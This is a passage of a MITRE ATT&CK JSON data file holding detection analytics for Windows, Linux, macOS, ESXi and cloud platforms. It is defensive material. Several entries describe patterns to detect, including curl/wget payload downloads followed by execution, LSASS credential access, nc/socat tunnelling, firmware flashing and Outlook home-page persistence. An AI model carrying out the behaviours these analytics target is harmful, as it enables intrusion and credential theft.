            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "log stream --info --predicate 'subsystem == \"com.apple.cfprefsd\"'"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "NSM:Connections",
                    "channel": "web domain alerts"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ScriptEngineList",
                    "description": "Scripting interpreters to monitor for unusual HTTP traffic (e.g., osascript, ruby, bash)"
                },
                {
                    "field": "SocialMediaDomainPatterns",
                    "description": "Patterns or domains used for C2 dead drops and responses (e.g., pastebin.com, twitter.com)"
                },
                {
                    "field": "BurstConnectionRate",
                    "description": "Threshold for number of short-lived HTTPS connections in a short window"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--59aedd87-8373-45d3-93e3-5697e4cc7a48",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0034#AN0096",
                    "external_id": "AN0096"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0096",
            "description": "Detects execution of common process enumeration utilities (e.g., ps, top, htop) or access to /proc with suspicious ancestry. Correlates command usage with interactive shell context and user role.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execve"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "auditd:SYSCALL",
                    "channel": "openat"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "name": "linux:osquery",
                    "channel": "Process State"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "AccessedPath",
                    "description": "Filter based on suspicious /proc directory enumeration or high-volume ls/readlink usage"
                },
                {
                    "field": "UserContext",
                    "description": "Helps tune for root vs. low-priv users during interactive vs. scripted activity"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--59bfb473-611f-4443-9d11-f44e7ace93fb",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0398#AN1117",
                    "external_id": "AN1117"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1117",
            "description": "Startup-based persistence mechanisms within Microsoft Office Suite like template macros and home page redirects being configured through internal automation or client-side settings.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Office Suite"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77",
                    "name": "m365:unified",
                    "channel": "Set-Mailbox, Set-InboxRule, Set-MailboxFolderPermission"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "m365:mailboxaudit",
                    "channel": "Outlook rule creation or custom form deployment"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "RuleAction",
                    "description": "Identify rule actions that execute scripts, forward emails externally, or start external content"
                },
                {
                    "field": "MailboxTarget",
                    "description": "Focus on users with sensitive roles or shared mailboxes"
                },
                {
                    "field": "TimeWindow",
                    "description": "Detect persistence artifacts created shortly after credential access or login from an unusual location"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--59d44906-a35e-4b0f-ab84-df3bfa6df8f9",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0099#AN0275",
                    "external_id": "AN0275"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0275",
            "description": "Unexpected write operations to BIOS/UEFI firmware regions or EFI boot partitions that do not correlate with legitimate vendor firmware updates. API calls or utilities such as fwupdate.exe or vendor flash tools executed from non-administrative or non-IT management accounts. Suspicious raw disk writes targeting System Firmware GUID partitions followed by abnormal reboot sequences.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--73ff2dcc-24b1-4368-b9dc-706dd9e68354",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=9"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "AllowedFirmwareUpdateTools",
                    "description": "Legitimate vendor tools permitted to perform firmware flashing or BIOS updates."
                },
                {
                    "field": "TimeWindow",
                    "description": "Expected time periods for approved firmware updates, used for correlating suspicious activity outside patch cycles."
                },
                {
                    "field": "KnownGoodFirmwareHashes",
                    "description": "Baseline hashes of vendor BIOS/UEFI firmware for integrity comparison."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--59faf79f-831d-436b-9ce3-e5c1d338da6c",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0413#AN1161",
                    "external_id": "AN1161"
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            ],
            "object_marking_refs": [
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            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 1161",
            "description": "Command-line tools (e.g., curl, rsync, wget, or custom Python scripts) used to scrape documentation systems or internal REST APIs. Unusual access patterns to knowledge base folders or shared team drives.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "auditd:SYSCALL",
                    "channel": "execve of curl, rsync, wget with internal knowledge base or IPs"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "linux:Sysmon",
                    "channel": "EventCode=3, 22"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "CommandRegex",
                    "description": "Regex matching internal doc servers, knowledge base paths, or IP patterns."
                },
                {
                    "field": "TimeWindow",
                    "description": "Burst access of repositories over a short time window."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--5a05483c-fb3b-4240-bf90-c1873b6bd392",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0077#AN0214",
                    "external_id": "AN0214"
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            ],
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            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0214",
            "description": "AppleScript or system calls to activate WiFi/Bluetooth interfaces (`networksetup`, `blueutil`), followed by exfiltration via AirDrop, cloud sync, or network socket.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "macos:unifiedlog",
                    "channel": "None"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:osquery",
                    "channel": "process_events"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6",
                    "name": "macos:osquery",
                    "channel": "interface_details "
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "Protocol",
                    "description": "Protocol used for exfil (e.g., AirDrop, mDNS, Apple File Service)."
                },
                {
                    "field": "InterfaceActivityWindow",
                    "description": "Time period between interface activation and transfer."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0425#AN1189",
                    "external_id": "AN1189"
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            ],
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            ],
            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 1189",
            "description": "Detects unusual outbound connections to web services from uncommon processes using SSL/TLS, particularly those exhibiting high outbound data volume or persistence.",
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            "x_mitre_deprecated": false,
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            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=3, 22"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "SSL/TLS Inspection or PCAP"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ProcessName",
                    "description": "To tune for unexpected or uncommon executables initiating network connections"
                },
                {
                    "field": "DataTransferThreshold",
                    "description": "Volume of outbound data in short time window (e.g., >1MB in <5 min)"
                },
                {
                    "field": "TimeWindow",
                    "description": "Look for connections persisting outside of normal business hours"
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--5a5d5ff5-e2bb-4ba9-9f95-504c86b1a1cf",
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                    "source_name": "mitre-attack",
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                    "external_id": "AN0648"
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            ],
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            "name": "Analytic 0648",
            "description": "Processes accessing LSASS memory or SAM registry hives outside of trusted security tools, often followed by file creation or lateral movement. Detects unauthorized access to sensitive OS subsystems for credential extraction.",
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            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Windows"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=10"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4663, 4670, 4656"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--5c6de881-bc70-4070-855a-7a9631a407f7",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4662"
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            ],
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                {
                    "field": "AccessMask",
                    "description": "Set to detect full access rights (0x1F0FFF) or modify based on tool behavior."
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                {
                    "field": "TimeWindow",
                    "description": "Define how soon access to LSASS is followed by suspicious file or registry activity."
                },
                {
                    "field": "ParentProcessFilter",
                    "description": "Allowlist known security tools or system processes accessing LSASS."
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        },
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                    "source_name": "mitre-attack",
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            "name": "Analytic 1181",
            "description": "Use ESXi syslogs to track abnormal DNS query patterns from management agents or VMs. Identify high-frequency, low-TTL, or unresolvable domains as suspicious. Correlate with unusual management plane process activity.",
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            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "ESXi"
            ],
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "esxi:syslog",
                    "channel": "Frequent DNS queries with high entropy names or NXDOMAIN results"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ResolverConfigPaths",
                    "description": "Expected resolver settings for ESXi hosts"
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                {
                    "field": "DomainWhitelist",
                    "description": "Trusted external domains for hypervisor operations"
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            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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            "name": "Analytic 0515",
            "description": "Use of native/mac tools (sharing -l, smbutil view, mount_smbfs) or scripts to enumerate SMB shares across many hosts, followed by outbound SMB connections observed in PF/Zeek logs.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "macOS"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:endpointsecurity",
                    "channel": "ES_EVENT_TYPE_NOTIFY_EXEC: Process execution of \"sharing -l\", \"smbutil view\", \"mount_smbfs\""
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "macos:unifiedlog",
                    "channel": "Command line contains smbutil view //, mount_smbfs //"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "NSM:Firewall",
                    "channel": "Outbound connections to 139/445 to multiple destinations"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "NSM:Flow",
                    "channel": "connection: SMB connections to multiple internal hosts"
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            ],
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                {
                    "field": "BurstHostThreshold",
                    "description": "Minimum unique SMB destinations (e.g., \u22653\u20135 in smaller mac fleets)."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlation window between exec and SMB connections (default 10m)."
                },
                {
                    "field": "AllowedMgmtTools",
                    "description": "Jamf/IT scripts legitimately running smbutil/mount_smbfs."
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            ],
            "x_mitre_deprecated": false
        },
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            "name": "Analytic 0480",
            "description": "Bash, Swift, or Objective-C programs enumerate system profile, I/O registry, or inspect kernel extensions to identify VM artifacts",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "exec or spawn of 'system_profiler', 'ioreg', 'kextstat', 'sysctl', or calls to sysctl API"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ExecutionBurst",
                    "description": "Threshold of sequential system checks or tools used in a short time"
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                {
                    "field": "ToolName",
                    "description": "Specific tools used for querying device and system metadata"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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                    "external_id": "AN0325"
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            ],
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            "name": "Analytic 0325",
            "description": "Creation or modification of `systemd` service units or cron jobs using deceptive naming and untrusted command paths, often followed by lateral network activity or privilege escalation.",
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            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--faa34cf6-cf32-4dc9-bd6a-8f7a606ff65b",
                    "name": "auditd:CONFIG_CHANGE",
                    "channel": "/var/log/audit/audit.log"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c",
                    "name": "linux:osquery",
                    "channel": "scheduled/real-time"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--7b375092-3a61-448d-900a-77c9a4bde4dc",
                    "name": "linux:cron",
                    "channel": "cron activity"
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            ],
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                {
                    "field": "UnitFilePath",
                    "description": "Unusual or user-space paths for systemd unit files"
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                {
                    "field": "ServiceNameDeviation",
                    "description": "Detect units with names similar to legitimate ones (e.g., `networks.service` instead of `network.service`)"
                },
                {
                    "field": "ExecStartPath",
                    "description": "Track uncommon or suspicious binaries in `ExecStart=` directives"
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            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--5aaad268-48fb-4826-9f68-b666e1b4a3bf",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
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            "modified": "2025-11-12T22:03:39.105Z",
            "name": "Analytic 0619",
            "description": "Unusual or unauthorized processes accessing microphone APIs (e.g., winmm.dll, avrt.dll) followed by audio file writes to user-accessible or temp directories.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=10"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
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            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TimeWindow",
                    "description": "Time span in which the process accesses audio APIs and writes files, to reduce false positives."
                },
                {
                    "field": "TargetProcess",
                    "description": "Set of approved processes known to legitimately use microphone (e.g., Zoom, Teams)."
                },
                {
                    "field": "WriteDirectory",
                    "description": "Allowlist of paths where legitimate apps store audio (e.g., user media folders)."
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0538#AN1484",
                    "external_id": "AN1484"
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            ],
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1484",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
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            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
                    "name": "auditd:SYSCALL",
                    "channel": "socket/connect calls showing SSH processes forwarding arbitrary ports"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "linux:syslog",
                    "channel": "sshd sessions with unusual port forwarding parameters"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "linux:osquery",
                    "channel": "socat, ssh, or nc processes opening unexpected ports"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ForwardingFlags",
                    "description": "Specific sshd config flags indicating port forwarding."
                },
                {
                    "field": "ProtocolBaseline",
                    "description": "Define expected application protocols by port to catch tunneling mismatches."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--5b1514b3-e35b-4ea8-bcc1-b8e492d6d3cd",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
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            ],
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0475",
            "description": "Direct write access to /dev/mem or /sys/firmware combined with usage of firmware flashing utilities (e.g., flashrom).",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd",
                    "name": "auditd:SYSCALL",
                    "channel": "write access to /dev/mem or /sys/firmware/efi/efivars"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:SYSCALL",
                    "channel": "execution of known flash tools (e.g., flashrom, fwupd)"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ToolName",
                    "description": "Custom or renamed firmware tools may require pattern matching"
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--5b41efa6-7410-403b-ac07-89e262fa17ca",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0043#AN0122",
                    "external_id": "AN0122"
                }
            ],
            "object_marking_refs": [
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            ],
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0793",
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                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
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                    "channel": "execve: Processes executing sendmail/postfix with forged headers"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "Application:Mail",
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            ],
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                {
                    "field": "KnownRelayHosts",
                    "description": "Filter trusted relays or automated notification systems from impersonation alerts."
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                {
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            "name": "Analytic 1588",
            "description": "Detection focuses on monitoring registry modifications under HKLM\\SOFTWARE\\Microsoft\\Netsh that indicate the addition of helper DLLs, followed by anomalous child process activity or module load behavior initiated by netsh.exe. These behaviors are rarely legitimate and may represent an adversary establishing persistence.",
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                "Windows"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170",
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                    "field": "NetshChildProcessWhitelist",
                    "description": "List of expected or approved child processes spawned by netsh.exe in the enterprise environment"
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                {
                    "field": "DLLLoadPath",
                    "description": "Directory or filename heuristics to distinguish benign DLLs from malicious helper DLLs"
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            ],
            "x_mitre_deprecated": false
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            "description": "Adversary uses a tool like Ruler to configure a malicious Outlook folder Home Page that loads a remote or embedded HTML payload upon folder interaction. Execution chain begins with Outlook launching, a specific folder being accessed, and a suspicious child process being spawned or COM-based execution invoked.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
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                "enterprise-attack"
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                "ESXi"
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                    "field": "ScheduledTaskName",
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                    "field": "TimeWindow",
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            "description": "Forged SAML tokens may be used on Windows systems to authenticate to federated apps without normal Kerberos activity. Defenders may detect anomalous event correlation, where access to SaaS/O365 via SAML occurs without prior TGT requests or user logons.",
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                {
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            "x_mitre_deprecated": false,
            "x_mitre_version": "1.1",
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            "x_mitre_domains": [
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                "IaaS"
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                    "channel": "Delete* / Stop*: DeleteAlarms, StopLogging, or DisableMonitoring API calls"
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                    "field": "APIActions",
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                    "field": "UserContext",
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        },
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            "type": "x-mitre-analytic",
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            "x_mitre_domains": [
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                    "channel": "RunInstances"
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                    "field": "UnusedRegionList",
                    "description": "List of regions historically unused by the organization (can vary per tenant/project)"
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                    "field": "TimeWindow",
                    "description": "Time interval for correlating activity following account access"
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                    "field": "AllowedServiceList",
                    "description": "Whitelist of services allowed in secondary/DR regions"
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                    "field": "OutboundTrafficThreshold",
                    "description": "Volume threshold to flag suspicious outbound activity"
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                    "field": "TimeWindow",
                    "description": "Adjustable window to correlate CLI disconnection command with SMB session teardown (e.g., 5 mins)"
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                {
                    "field": "UserContext",
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                },
                {
                    "field": "ProcessCommandLineRegex",
                    "description": "Patterns to match `net use \\\\host\\share /delete`, `Remove-SmbMapping`, or suspicious batched disconnections"
                },
                {
                    "field": "NetworkShareNamePattern",
                    "description": "Tunable list of shares likely targeted (e.g., ADMIN$, C$, IPC$)"
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                "IaaS"
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            ],
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                    "field": "API_Method",
                    "description": "Tune based on which IAM APIs are used and their frequency."
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                {
                    "field": "CallerType",
                    "description": "Differentiate user-initiated from automated/scripted enumeration."
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        },
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            "x_mitre_platforms": [
                "Containers"
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                {
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                "Windows"
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                    "field": "EntropyChangeRate",
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                    "field": "UserAgentAnomalyScore",
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                    "field": "GeoLocationAnomalyScore",
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
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                    "field": "NewDomainThreshold",
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                    "field": "DNSQueryVolume",
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                "Office Suite"
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                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
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                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
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                    "field": "MacroExecutionWindow",
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                    "field": "AttachmentNameHeuristics",
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                    "field": "ParentProcessFilter",
                    "description": "Defenders may wish to restrict alerts to emond processes not spawned from trusted system update or provisioning tools"
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                {
                    "field": "CommandPatternList",
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                    "channel": "None"
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                {
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                    "name": "esxi:vpxd",
                    "channel": "None"
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                    "field": "InterfaceName",
                    "description": "May vary based on ESXi build and should be filtered to suppress known interfaces."
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                {
                    "field": "FallbackIPRanges",
                    "description": "Environment-specific ranges to ignore (e.g., DR tunnels or out-of-band mgmt)."
                }
            ],
            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
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                    "source_name": "mitre-attack",
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0993",
            "description": "Detect curl/wget commands saving executable/script payloads to /tmp or /var/tmp followed by execution. Monitor packet captures or IDS/IPS alerts for injected responses or mismatched content types.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Linux"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Execution of curl or wget writing files to /tmp/* followed by chmod or execution"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "File creation of suspicious scripts/binaries in temporary directories"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
                    "name": "NSM:Flow",
                    "channel": "Injected content responses with unexpected script/malware signatures"
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            ],
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                {
                    "field": "TempDirectories",
                    "description": "Directories such as /tmp and /var/tmp where injected files are often written."
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            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
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                    "source_name": "mitre-attack",
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            ],
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0188",
            "description": "Unusual inbound email activity where attachments or embedded URLs are delivered to users followed by execution of new processes or suspicious document behavior. Detection involves correlating email metadata, file creation, and network activity after a phishing message is received.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
                "Windows"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
                    "name": "m365:unified",
                    "channel": "Send/Receive: Emails with suspicious sender domains, spoofed headers, or anomalous attachment types"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=11"
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                {
